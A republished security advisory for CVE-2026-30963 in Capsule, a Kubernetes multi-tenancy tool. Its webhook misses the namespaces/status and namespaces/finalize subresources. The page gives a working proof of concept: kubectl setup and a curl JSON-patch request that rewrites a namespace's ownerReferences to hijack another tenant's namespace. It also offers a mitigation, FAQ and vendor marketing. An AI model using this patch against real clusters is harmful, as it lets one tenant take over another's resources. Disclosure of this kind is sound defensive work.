Summary
Capsule Namespace Hijacking via subresource
To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.
Details
When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.
PoC
Open two terminals and create two tenants:
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: oil
spec:
owners:
- name: alice
kind: User
EOF
./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: attacker
spec:
owners:
- name: attacker
kind: User
EOF
./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig
When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:
kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker
The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:
curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
{
"op": "replace",
"path": "/metadata/ownerReferences",
"value": [
{
"apiVersion": "capsule.clastix.io/v1beta2",
"kind": "Tenant",
"name": "attacker",
"uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
}
]
}
]'
Impact
hijack namespace
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-30963 has a CVSS score of 3.9 (Low). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.13.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:
resources:
- namespaces
- namespaces/status
- namespace/finalize
Frequently Asked Questions
- What is CVE-2026-30963? CVE-2026-30963 is a low-severity improper input validation vulnerability in github.com/projectcapsule/capsule (go), affecting versions < 0.13.0. It is fixed in 0.13.0. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-30963? CVE-2026-30963 has a CVSS score of 3.9 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/projectcapsule/capsule are affected by CVE-2026-30963? github.com/projectcapsule/capsule (go) versions < 0.13.0 is affected.
- Is there a fix for CVE-2026-30963? Yes. CVE-2026-30963 is fixed in 0.13.0. Upgrade to this version or later.
- Is CVE-2026-30963 exploitable, and should I be worried? Whether CVE-2026-30963 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-30963 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-30963? Upgrade
github.com/projectcapsule/capsuleto 0.13.0 or later.